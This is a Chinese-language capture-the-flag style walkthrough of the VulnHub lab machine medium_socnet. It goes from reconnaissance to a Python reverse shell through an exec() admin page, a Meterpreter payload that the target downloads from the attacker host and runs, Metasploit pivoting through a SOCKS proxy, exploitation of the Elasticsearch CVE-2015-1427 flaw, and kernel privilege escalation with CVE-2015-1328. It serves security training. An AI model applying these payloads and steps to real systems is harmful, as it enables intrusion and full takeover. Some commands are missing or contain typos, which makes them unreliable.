靶机: medium_socnet
准备工作
需要你确定的事情:
- 确定 kali 已经安装,并且能正常使用【本文不涉及 kali 安装配置】
- VirtualBox 以前能正常导入虚拟文件 ova 能正常使用
- 下载靶机: https://www.vulnhub.com/entry/boredbackerblog-social-network,454/ 如果下载过慢可以使用下载器【迅雷、Mortrix ...】,下载后需要进行 SHA1 或 MD5 验证 确定下载文件是否 有损或被篡改
靶机安装时部分错误解决方法【注:安装于 VirtualBox 】
网络设置为 仅主机模式 (Host-only)
使用 VirtualBox 启动虚拟机系统时碰到“不能为虚拟电脑打开一个新的任务”的错误提示,并提示
Implementation of the USB 2.0 controller not found!
解决方法是在 设置 --> USB设备: 「USB 1.1 控制器」
Kali 网络配置:
kali 在 VMware 上配置双网卡:桥接模式 + NAT模式;使用 VMware 虚拟网络编辑器【以管理员身份打开】:将桥接模式的网卡 VMnet0 的桥接(G) 到 VirtualBox 网卡
- 网络适配器1:配置为桥接模式
- 网络适配器2:NAT模式
kali 在 VirtualBox 上配置双网卡:Host-only模式 + NAT模式;在 kali 的设置中网络选项
- 网卡1:Host-only模式 (仅主机模式)
- 网卡2:NAT模式
两种位置,最后都要打开 kali 进行调试,如果不会 vim 先查看一下使用方法避免错误操作
vim 写入内容【 interfaces 文件最后】
退出 vim 后在 命令行中
如果在
ip a
有部分问题可以重启 kali 再查看,如果网络配置依旧有问题,建议学习一下 Linux 网络配置的基本知识
开始打靶
第一步:锁定目标
可以使用 arp-scan
一类扫描工具,在使用工具前都需要 注意自身权限问题 ,必要时使用 sudo
arp-scan: 使用命令
arp-scan -l
扫描此命令是默认扫描,通过 eth0 进行的,如果你配置网络时 kali 与 靶机对接的网络是 eth1 需要指定扫描的接口 使用
--interface=
参数,此参数可以简写I
通过 arp-scan 扫描得到信息:
第二步:端口扫描
我们可以大概锁定以下目标,使用 nmap 进行对端口进行探索
nmap: 比较简单的用法
nmap IP地址
- 参数
-p
扫描端口,如果是全部端口使用-
指代,比如:nmap -p- 192.168.56.101
- 参数
-sV
对端口上的服务程序版本进行扫描
- 参数
在扫描中发现 192.168.56.101
开发端口 22,5000
对 192.168.56.101
开发端口 22,5000 进一步扫描发现两个端口的服务程序版本
- 22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
- 5000: http Werkzeug httpd 0.14.1 (Python 2.7.15)
其中 5000 有 http 服务可以尝试在浏览器中访问一下 http://192.168.56.101:5000
- 在网页中并没有什么特别的,唯一有的一个数据输入点上也不能注入
- 可以使用爬虫类程序,探查 Web 应用是否存在 隐藏路径
第三步:攻击方式判断
使用工具 dirsearch
进行探查
- dirsearch 的基本参数
--url=
,比如:dirsearch --url=http://192.168.56.101:5000/
使用 dirsearch 进行简单探查发现隐藏目录 /admin
其中 admin 英文含义就可以知道这个隐藏页面与管理员可能有关系,可以对其访问 http://192.168.56.101:5000/admin
访问后发现,里面的提示 Nothing was ran. Input some code to exec()
此内容与 python 相关,在前面端口探测中也知道此网站是 Werkzeug httpd 0.14.1 (Python 2.7.15)
而 Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行,那么我们可以尝试查找关于 Python 2.7.15
反弹 shell 的代码,通过 exec() 进入 192.168.56.101
这台机器了
Python 2.7.15
反弹 shell首先我们需要开启 kali 的监听,监听可以使用命令
netcat
也可以使用简化命令nc
netcat 部分参数
- -l 侦听模式,用于入站连接
- -n 禁止名称/端口解析
- -p 端口本地端口号,端口号可以是单独的,也可以是范围
- -v 信息细化,连用两次可以获得更详细的信息
在
http://192.168.56.101:5000/admin
页面内容注入 python 代码
最终得到响应的反射 shell 结果,从此处我们就可以控制
192.168.56.101
这台机器了,并且有 root 级别权限
但我们还需要进一步深入探索,排除是否处在容器或蜜罐陷阱中
内网渗透
挖掘潜在价值
首先探索一下目录内容,查看是否有什么特别的
发现其中有 Dockerfile 文件,查看里面的 发现我们可能处在容器中
- 查看根目录中是否存在
.dockerenv
文件 - 查看
/proc/1/cgroup
中的内容是否大量与 docker 有关
自此已经有相当大的把握确定我们处在容器中
服务代理
内网流量代理
- 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:
Client -> proxy -> Target
- 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:
Client <--> proxy <--> firewall <--> Target
代理需要关注 Socks 协议,代理工具一般的版本支持
- SOCKS4: 支持TELNET、FTPHTTP等TCP协议
- SOCKS5: 支持TCP与UDP,并支持安全认证方案
代理工具
- 端口转发工具:NC, LCX, regGorg, venom, ngrock ...
- 代理链工具:proxychains(Linux), proxifier(windows) ...
MSF 内网穿透
本处我们使用 MSF 进行内网穿透,如果没有 kali 安装命令 sudo apt-get install metasploit-framework
首页使用
msfvenom
生成linux/x64/meterpreter/reverse_tcp
模块的木马上传生成的木马 shell.elf 通过在本地当前目录【shell.elf 所在的目录】使用
python3 -m http.server 80
挂起一个 HTTP 服务在目标容器系统中使用
wget
命令 [wget httlp://kali的ip地址/shell.elf] 下载本地的 shell.elf 之后使用 ls 命令确认其存在在 kali 上使用
msfconsole
命令后执行下列代码>
挂起kali本地自己192.168.56.103:4444
的监听在目标容器系统中改 shell.elf 文件权限,使其可以执行并将其执行,也可以
chmod +x ./shell.elf && ./shell.elf
之后查看 kali 是否响应
在响应后使用 shell
调用目标容器系统 shell 进行简单的探查,比如使用 ip a
查看目标容器系统的内网状态,确定其内网网段 172.17.0.3/16
后使用 exit;
退出
将获取的网段
172.17.0.3/16
->172.17.0.0/16
添加路由run autoroute -s 172.17.0.0/16
命令,查看是否成功添加run autoroute -p
创建成功之后我们将当前的会话挂起,使用
background
是将当前 msf 会话挂起,想重新利用会话使用sessions -i
其中 i 是会话编号
好的,我们已经完成了最重要的一般,接下来是 socks 代理
继续前面的,使用
use auxiliary/server/socks_proxy
进入代理模块- 设置服务版本
set VERSION 4a
- 设置 IP
set SRVHOST Kali的IP
- 查看配置是否正确
show options
- 收尾
exploit
- 设置服务版本
下一步,配置本地 proxychains 代理链工具【先确定是否安装,推荐使用新的 proxychains4】,上面的 shell 不用关闭,再开一个 kali 的 shell 并且在新的命令行使用命令,配置 proxychains 的代理列表添加
socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
完成整个代理步骤后可以通过
proxychains
或proxychains4
作为其他命令前缀探索内网,但我们使用的是目录级 proxychains 配置文件实验需要使用-f
参数指定配置文件我们使用之前 msf 的那个 shell 执行
sessions -1
回到之前的挂起的会话,使用arp a
简单说明判断其他存活的 ip用 proxychains 的那个 shell 执行 nmap 扫描
172.17.0.1
开始正餐
行好,我们已经可以在目标容器内网使用 kali 了,下面我们真正的目标发起攻击
- 发现与我们之前的目标容器非常相似,我们可以使用 firefox 设置代理访问
http://172.17.0.1:5000
浏览器代理方法自行百度,重点使用手动配置代理配置SOCKS 主机
与前面 proxychains.conf 一致 - 访问网页的结果与之前的相同,可以判断
172.17.0.1
便是之前192.168.56.101
的宿主机
测试探索 172.17.0.2
发现新线索,
172.17.0.2
的 9200 端口开启,运行服务 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 说明:Elasticsearch 是位于 Elastic Stack 核心的分布式搜索和分析引擎此处我们可以使用
searchsploit
查询 Elasticsearch 相关漏洞并尝试,攻入其中尝试一个
/usr/share/exploitdb/exploits/linux/remote/36337.py
但注意是否安装python2
以及其requests
如果没有使用以下代码进入其中
可以看到下面报错了,查看错误是 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427) 想要要利用需要先查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据
使用
curl
在 Elasticsearch 添加一条数据curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
并且发现了一个passwords文件,查看文件得到一些账号密码使用
md5
进行解密【网络上一般有在线解密MD5的网站】,并将其解码得到密码,其中只有john:1337hack
可以用于登录
攻入真正目标
使用得到的 john:1337hack
登录 192.168.56.102
查看是否有 root 权限发现没有,需要进行提权
探索一下目标上的信息 uname -a
发现其版本 Linux socnet 3.13.0-24-generic 通过 searchsploit 查询相关内核漏洞
可以尝试的内核漏洞
尝试
linux/local/37292.c
漏洞查看一下,发现其中存在依赖/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
我们需要去除依赖gcc部分因为目标上没有 gcc在本地编译
gcc -o exp 37292.c
并将/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
与 编译后的exp
一起发送到目标,可以使用ssh
发送或 Python HTTP 服务结合wget
发送;如果方法不熟悉建议练习后尝试为
exp
与ofs-lib.so
增加可执行权限,将ofs-lib.so
移动到靶机\tmp
目录,并执行./exp
即可得到 root 权限
如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6
动态库高于靶机的
解决方法是在靶机中使用 ldd --version
命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6
下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir
指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
标签:
留言评论